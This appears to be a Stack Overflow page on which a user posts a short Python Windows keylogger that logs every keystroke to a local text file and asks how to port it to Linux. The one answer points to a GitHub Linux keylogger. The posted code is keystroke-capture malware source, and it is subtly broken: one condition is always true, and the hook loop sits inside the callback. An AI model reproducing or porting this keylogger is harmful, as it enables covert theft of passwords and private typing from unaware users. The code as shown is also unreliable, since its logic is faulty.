Vass
Vass

Reputation: 2820

How to modify this python keylogger code for windows to be used under linux?

There is this basic keylogger code in python to run under windows. How can it be modified to run under Linux?

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''
def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit() 
    if event.Ascii != 0 or 8: 
        f = open ('c:\\outputKeyLogger.txt', 'a') 
    keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
        keylogs = keylogs + '\n' 
    f.write(keylogs) 
    f.close() 
    while True:
        hm = pyHook.HookManager() 
        hm.KeyDown = OnKeyboardEvent 
        hm.HookKeyboard() 
        pythoncom.PumpMessages()

Upvotes: 0

Views: 1540

Answers (1)

Totem
Totem

Reputation: 7349

Below is a link to the source for a keylogger for linux on Github by amoffat. It makes use of the ctypes Python module, a foreign function library for Python, which provides C compatible datatypes and allows calling functions in DLLs. This appears to be used to access the X windows environment on linux to capture the keys pressed for logging. Click into the pykeylogger.py file to see the full source. Hope this helps.

https://github.com/amoffat/pykeylogger

Info on ctypes -

https://docs.python.org/2/library/ctypes.html

Upvotes: 1

Related Questions